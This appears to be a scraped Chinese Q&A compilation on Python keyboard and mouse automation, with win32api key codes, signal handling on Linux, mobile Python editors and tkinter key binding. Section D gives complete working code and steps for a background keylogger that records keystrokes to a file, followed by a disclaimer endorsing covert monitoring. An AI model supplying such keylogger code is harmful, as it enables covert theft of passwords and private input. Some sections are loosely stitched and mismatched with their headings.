A. 請教python模擬鍵盤輸入
api.keybd_event(86,0,win32con.KEYEVENTF_KEYUP,0) #釋放按鍵 win32api.keybd_event(17,0,win32con.KEYEVENTF_KEYUP,0) 附個鍵位碼表
B. 請用Python如何模擬鍵盤操作
用pywin模塊調用win32函數就可以了
import win32api
import win32con
win32api.keybd_event(17,0,0,0) #ctrl鍵位碼是17
win32api.keybd_event(86,0,0,0) #v鍵位碼是86
win32api.keybd_event(86,0,win32con.KEYEVENTF_KEYUP,0) #釋放按鍵
win32api.keybd_event(17,0,win32con.KEYEVENTF_KEYUP,0)
附個鍵位碼表:
字母和數字鍵 數字小鍵盤的鍵 功能鍵 其它鍵
鍵 鍵碼 鍵 鍵碼 鍵 鍵碼 鍵 鍵碼
A 65 0 96 F1 112 Backspace 8
B 66 1 97 F2 113 Tab 9
C 67 2 98 F3 114 Clear 12
D 68 3 99 F4 115 Enter 13
E 69 4 100 F5 116 Shift 16
F 70 5 101 F6 117 Control 17
G 71 6 102 F7 118 Alt 18
H 72 7 103 F8 119 Caps Lock 20
I 73 8 104 F9 120 Esc 27
J 74 9 105 F10 121 Spacebar 32
K 75 * 106 F11 122 Page Up 33
L 76 + 107 F12 123 Page Down 34
M 77 Enter 108 -- -- End 35
N 78 - 109 -- -- Home 36
O 79 . 110 -- -- Left Arrow 37
P 80 / 111 -- -- Up Arrow 38
Q 81 -- -- -- -- Right Arrow 39
R 82 -- -- -- -- Down Arrow 40
S 83 -- -- -- -- Insert 45
T 84 -- -- -- -- Delete 46
U 85 -- -- -- -- Help 47
V 86 -- -- -- -- Num Lock 144
W 87
X 88
Y 89
Z 90
0 48
1 49
2 50
3 51
4 52
5 53
6 54
7 55
8 56
9 57
C. python怎麼模擬鍵盤操作
實現了一個最簡單的輸入密碼,enter進入的簡單鍵盤操作登錄過程,具體代碼如下:
· 滑鼠點擊
有m.click(x, y, button, n) -- 點擊,想x,y坐標,button:-1表示左鍵,-2表示右鍵,n:默認1次,2雙擊
m.move(x, y) -- 滑鼠移動
m.screen_size() -- 獲取屏幕尺寸
· 鍵盤操作
k.type_string('abcdefg') --輸入內容
k.press_key('a') --按a鍵
k.release_key('a') --松開a鍵
k.tap_key('a') --點擊a鍵
k.tap_key('a', n=2, interval=5) --點擊a鍵2次,每次間隔5秒
k.tap_key(k.function_keys[5]) --功能鍵F5
k.press_keys([k.alt_key, 'a']) --組合按鍵
D. 如何創建一個在後台使用python運行的鍵盤記錄器
步驟1:從開始菜單中選擇「Python 2.7> IDLE(Python GUI)」
步驟2: 單擊「文件>新窗口」
步驟3: 現在在Python窗口中鍵入下面的代碼,如圖所示,
import win32api
import sys
import pythoncom, pyHook
buffer = ''
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
if event.Ascii != 0 or 8:
f = open ('c:\\output.txt', 'a')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = keylogs + '\n'
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
步驟4:將文件保存在C:\作為Keylogger.py,然後單擊RUN(CTRL + R: 鍵盤記錄器將在後台啟動,並將運行,直到日誌文件 「C:\ output.txt」 任何將鍵入的內容鍵盤。)
5
這些是設計用於在目標計算機的軟體上工作的計算機程序。鍵盤記錄器用於IT組織,以解決計算機和業務網路的技術問題。家庭和商業人士合法使用鍵盤記錄器來監視網路使用,而無需用戶的直接知識。請不要在公共計算機上使用鍵盤記錄器竊取密碼或信用卡信息。
E. 求教Python畫一個鍵盤圖
其中第一種可以應用普通的程序或者桌面的鍵盤輸入,第二和第三則是比較接近底層的模擬鍵盤,如果想做游戲的腳本便可以用第二和第三種,順便一提第三種只使用圓孔的ps/2的鍵盤,第二種win32api親測可以用於製作模擬dnf鍵盤移動的腳本。
F. ubuntu|linux下 如何用python 模擬按鍵
ubuntu下,也就是linux下,通常會用kill -事件編號實現。 你查一下LINUX下的事件就明白了。
kill 進程號 實現上是發了一個信號給指定的進程。 在python里,也可以載入事件處理模塊,處理來自其它程序發過來的信號, 當然你可以用KILL工具發信號過來。
ctrl+d也是一個信號,ctrl+c也是一個。具體信號編碼我不記得了。不過以前我做多進程管理時就是使用這個方法。 好象信號還可以帶參數過來。
你打開python的幫助。看看signal這個模塊。我把它的例子拿過來。對你有用不
importsignal,os
defhandler(signum,frame):
print'Signalhandlercalledwithsignal',signum
raiseIOError("Couldn'topendevice!")
#Setthesignalhandleranda5-secondalarm
signal.signal(signal.SIGALRM,handler)
signal.alarm(5)
#Thisopen()mayhangindefinitely
fd=os.open('/dev/ttyS0',os.O_RDWR)
signal.alarm(0)#Disablethealarm
下面是我找到的一些資料。也許有用。
信號的概念
信號(signal)--進程之間通訊的方式,是一種軟體中斷。一個進程一旦接收到信號就會打斷原來的程序執行流程來處理信號。
幾個常用信號:
SIGINT終止進程中斷進程(control+c)
SIGTERM終止進程軟體終止信號
SIGKILL終止進程殺死進程
SIGALRM鬧鍾信號
進程結束信號SIGTERM和SIGKILL的區別
SIGTERM比較友好,進程能捕捉這個信號,根據您的需要來關閉程序。在關閉程序之前,您可以結束打開的記錄文件和完成正在做的任務。在某些情況下,假如進程正在進行作業而且不能中斷,那麼進程可以忽略這個SIGTERM信號。
對於SIGKILL信號,進程是不能忽略的。這是一個「我不管您在做什麼,立刻停止」的信號。假如您發送SIGKILL信號給進程,Linux就將進程停止在那裡。
發送信號一般有兩種原因:
1(被動式)內核檢測到一個系統事件.例如子進程退出會像父進程發送SIGCHLD信號.鍵盤按下control+c會發送SIGINT信號
2(主動式)通過系統調用kill來向指定進程發送信號
linux操作系統提供的信號
[100003@oss235 myppt]$ kill -l
1) SIGHUP2) SIGINT3) SIGQUIT4) SIGILL
5) SIGTRAP6) SIGABRT7) SIGBUS8) SIGFPE
9) SIGKILL10) SIGUSR111) SIGSEGV12) SIGUSR2
13) SIGPIPE14) SIGALRM15) SIGTERM16) SIGSTKFLT
17) SIGCHLD18) SIGCONT19) SIGSTOP20) SIGTSTP
21) SIGTTIN22) SIGTTOU23) SIGURG24) SIGXCPU
25) SIGXFSZ26) SIGVTALRM27) SIGPROF28) SIGWINCH
29) SIGIO30) SIGPWR31) SIGSYS34) SIGRTMIN
35) SIGRTMIN+136) SIGRTMIN+237) SIGRTMIN+338) SIGRTMIN+4
39) SIGRTMIN+540) SIGRTMIN+641) SIGRTMIN+742) SIGRTMIN+8
43) SIGRTMIN+944) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12
47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14
51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10
55) SIGRTMAX-956) SIGRTMAX-857) SIGRTMAX-758) SIGRTMAX-6
59) SIGRTMAX-560) SIGRTMAX-461) SIGRTMAX-362) SIGRTMAX-2
63) SIGRTMAX-164) SIGRTMAX
Python提供的信號
Python 2.4.3 (#1, Jun 11 2009, 14:09:58)
[GCC 4.1.2 20080704 (Red Hat 4.1.2-44)] on linux2
Type "help", "right", "credits" or "license" for more information.
>>> import signal
>>> dir(signal)
['NSIG', 'SIGABRT', 'SIGALRM', 'SIGBUS', 'SIGCHLD', 'SIGCLD',
'SIGCONT', 'SIGFPE', 'SIGHUP', 'SIGILL', 'SIGINT', 'SIGIO', 'SIGIOT',
'SIGKILL', 'SIGPIPE', 'SIGPOLL', 'SIGPROF', 'SIGPWR', 'SIGQUIT',
'SIGRTMAX', 'SIGRTMIN', 'SIGSEGV', 'SIGSTOP', 'SIGSYS', 'SIGTERM',
'SIGTRAP', 'SIGTSTP', 'SIGTTIN', 'SIGTTOU', 'SIGURG', 'SIGUSR1',
'SIGUSR2', 'SIGVTALRM', 'SIGWINCH', 'SIGXCPU', 'SIGXFSZ', 'SIG_DFL',
'SIG_IGN', '__doc__', '__name__', 'alarm', 'default_int_handler',
'getsignal', 'pause', 'signal']
操作系統規定了進程收到信號以後的默認行為
但是,我們可以通過綁定信號處理函數來修改進程收到信號以後的行為
有兩個信號是不可更改的SIGTOP和SIGKILL
綁定信號處理函數
import os
import signal
from time import sleep
def onsignal_term(a,b):
print '收到SIGTERM信號'
#這里是綁定信號處理函數,將SIGTERM綁定在函數onsignal_term上面
signal.signal(signal.SIGTERM,onsignal_term)
def onsignal_usr1(a,b):
print '收到SIGUSR1信號'
#這里是綁定信號處理函數,將SIGUSR1綁定在函數onsignal_term上面
signal.signal(signal.SIGUSR1,onsignal_usr1)
while 1:
print '我的進程id是',os.getpid()
sleep(10)
運行該程序。然後通過另外一個進程來發送信號。
發送信號
發送信號的代碼如下:
import os
import signal
#發送信號,16175是前面那個綁定信號處理函數的pid,需要自行修改
os.kill(16175,signal.SIGTERM)
#發送信號,16175是前面那個綁定信號處理函數的pid,需要自行修改
os.kill(16175,signal.SIGUSR1)
G. 手機有什麼python編譯器
現在越來越多人學習python,很多小夥伴都富有激情的,利用碎片化的時間都要學習,大家都知道pyhton是簡單易學的,但是光說不練,假把式,最好能編程並且運行,最好能有一款在手機上可以隨時隨地編寫python代碼,而且功能齊全的app。下面為大家列舉幾種,我知道的手機上的python編輯器。(推薦學習:Python視頻教程)
Android系統:
Python編譯器是一款非常精煉的APP,主要為Python初學者提供直接運行的功能,能夠隨手驗證一些小程序。
Python新手用戶製作的一款手機編程學習工具,支持手機Python代碼編譯、腳本測試等功能,界面清爽,功能實用!
該軟體支持直接從文件管理器中打開代碼文件,方便用戶瀏覽查看。
Qpython是一個Python引擎,只能運行在安卓系統上,它可以全圖形界面操作,非常友好。
內置了一個Python編輯器,可以直接在手機上寫Python代碼,支持縮進,語法高亮等特性。
也內置了一個ftp,可以很方便的拷貝電腦上的py文件到手機上運行。
由於內置了SL4A,可以很方便的調用安卓操作系統的一些API做些有趣的事情,比如可以通過SL4A獲取手機地理位置,打開藍牙,發送手機簡訊,打開手機攝像頭等等。
pydroid3,這是一個非常不錯的手機python編程軟體,它擁有非常強大的編譯器,可以幫助您編輯python程序,pydroid3手機版不需要電腦也能夠時刻提高您的個人代碼編輯水平!
支持在命令行終端運行pip命令為pip命令提供了良好的圖形化管理界面,自動檢測代碼導入的庫如果沒有安裝會自動提示安裝,支持kivy、matplotpb等推行庫
pydroid3的符號面板比較豐富,避免了手機輸入法中找符號的繁瑣。
ios系統:
Pythonista是在iPad和iPhone上編寫Python腳本的一個完整的開發環境。
它包含了許多示例:繪畫游戲動畫、圖像處理、自定義用戶界面和自動化腳本。
除了強大的標准庫之外,Pythonista還提供了與本地iOS特性交互的廣泛支持,比如聯系人、提醒、照片、位置數據等等。全功能的代碼編輯器Pythonista的專業代碼編輯器提供語法高亮顯示、智能代碼完成以及專門為Python設計的擴展屏幕鍵盤。
一個方便的大綱視圖允許您高效地瀏覽您的腳本,並且多個選項卡可以輕松地在更大的項目上工作。圖形和多點觸控Pythonista有很多易於使用的2D圖形庫、多點觸控和音效庫。你甚至可以使用加速度計來創造運動控制的游戲或互動實驗。
更多Python相關技術文章,請訪問Python教程欄目進行學習!以上就是小編分享的關於手機有什麼python編譯器的詳細內容希望對大家有所幫助,更多有關python教程請關注環球青藤其它相關文章!
H. Python使用什麼語句將鍵盤輸入以單個字元串保存變數 語句實現屏幕顯示
字元串類型:單引號、雙引號均可,用三引號可實現不同行。
python使用format格式語句將鍵盤輸入以單個字元串保存變數。
Python 是一個高層次的結合了解釋性、編譯性、互動性和面向對象的腳本語言。Python 的設計具有很強的可讀性,相比其他語言經常使用英文關鍵字,其他語言的一些標點符號,它具有比其他語言更有特色語法結構。Python特點:易於學習、易於閱讀、易於維護、一個廣泛的標准庫、互動模式、可移植、可擴展、數。
I. 用python tkinter 做界面時,怎麼實現鍵盤按下回車鍵後,觸發某個button按鈕
你好,下面是一個例子:不過你需要用滑鼠點擊一下那個click me的button,然後回車就是相當於點擊那個button了。
import tkinter as tk
root = tk.Tk()
root.geometry("300x200")
def func(event):
print("You hit return.")
def onclick(event):
print("You clicked the button")
root.bind('<Return>', onclick)
button = tk.Button(root, text="click me")
button.bind('<Button-1>', onclick)
button.pack()
root.mainloop()